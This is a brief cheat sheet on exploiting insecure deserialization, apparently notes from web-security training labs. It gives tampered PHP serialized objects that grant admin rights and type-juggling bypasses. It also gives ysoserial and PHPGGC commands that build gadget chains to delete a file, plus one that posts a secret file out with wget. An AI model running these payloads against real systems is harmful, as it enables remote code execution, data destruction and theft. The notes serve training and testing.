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Insecure deserialization


Insecure deserialization is a type of computer security vulnerability that occurs when untrusted data is used to deserialize (i.e., recreate) an object in a computer system. This can allow an attacker to execute arbitrary code and potentially compromise the security of the system.


  • Java serialize : 0xACED or rO0 (base64)
  • Ruby serialize : \x04\bo:\vUser
  • Modify PHP attribute O:4:"User":2:{s:8:"username";s:6:"carlos";s:7:"isAdmin";b:0;} to b:1
  • Change data type for low comparaison bypass 0 == "Example string" // true
  • Replace avatar path in your cookie and delete your account, the file will be delete
  • Add index.php~ to find backup code source
  • Inject another PHP object with magic method (__destruct or __wakekup, ...)
  • rm /home/carlos/morale.txt using pre-built Apache Common gadget chain
  • Switch to JDK 11, java -jar ysoserial-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64 -w0 | copy
  • PHPGGC - ./phpggc Symfony/RCE4 system 'rm /home/carlos/morale.txt'
  • Ruby
  • java -jar ysoserial-all.jar CommonsCollections6 'wget --post-file /home/carlos/secret' | gzip -f | base64 -w0 | copy